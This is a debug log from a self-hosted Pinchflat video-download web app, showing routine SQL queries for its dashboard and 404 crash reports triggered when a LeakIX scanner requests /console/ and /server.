s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:27.191 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:27.192 [debug] QUERY OK source="tasks" db=0.1ms idle=2.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:50:27.193 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:27.193 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:27.193 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:50:27.196 [debug] QUERY OK source="media_items" db=1.4ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:50:27.197 [debug] QUERY OK source="media_items" db=0.8ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:27.198 [info] Sent 200 in 11ms 17:50:27.534 [info] GET / 17:50:27.534 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:50:27.535 [debug] QUERY OK source="settings" db=0.1ms idle=341.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:27.535 [debug] QUERY OK source="media_profiles" db=0.0ms idle=341.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:50:27.535 [debug] QUERY OK source="sources" db=0.0ms idle=338.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:50:27.536 [debug] QUERY OK source="media_items" db=0.3ms idle=337.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:27.536 [debug] QUERY OK source="media_items" db=0.1ms idle=207.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:27.536 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:27.536 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:27.537 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:27.538 [debug] QUERY OK source="tasks" db=0.2ms idle=1.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:50:27.538 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:27.539 [debug] QUERY OK source="media_items" db=0.3ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:27.539 [debug] QUERY OK source="sources" db=0.2ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:50:27.541 [debug] QUERY OK source="media_items" db=0.8ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:50:27.542 [debug] QUERY OK source="media_items" db=0.9ms idle=3.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:27.543 [info] Sent 200 in 8ms 17:50:28.174 [info] GET /console/ 17:50:28.174 [debug] QUERY OK source="settings" db=0.1ms idle=635.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:28.175 [debug] QUERY OK source="settings" db=0.1ms idle=635.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:28.175 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:28.175 [error] #PID<0.162694.0> running PinchflatWeb.Endpoint (connection #PID<0.162693.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /console/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /console (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162693.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37830}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162694.0>, params: %{}, path_info: ["console"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/console/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIhmD3nIOBIkAFoKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162693.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37830}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /console (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162693.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37830}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162694.0>, params: %{}, path_info: ["console"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/console/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIhmD3nIOBIkAFoKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Ro (truncated) 17:50:28.510 [info] GET /console/ 17:50:28.510 [debug] QUERY OK source="settings" db=0.1ms idle=968.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:28.511 [debug] QUERY OK source="settings" db=0.1ms idle=968.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:28.511 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:28.511 [error] #PID<0.162696.0> running PinchflatWeb.Endpoint (connection #PID<0.162695.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /console/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /console (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162695.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37846}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162696.0>, params: %{}, path_info: ["console"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/console/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIi2Kv1hJ5BAAFoKh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162695.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37846}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /console (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162695.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37846}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162696.0>, params: %{}, path_info: ["console"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/console/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIi2Kv1hJ5BAAFoKh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router } (truncated) 17:50:29.164 [info] GET /server 17:50:29.165 [debug] QUERY OK source="settings" db=0.1ms idle=990.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:29.165 [debug] QUERY OK source="settings" db=0.1ms idle=990.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:29.165 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:29.165 [error] #PID<0.162698.0> running PinchflatWeb.Endpoint (connection #PID<0.162697.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /server ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: 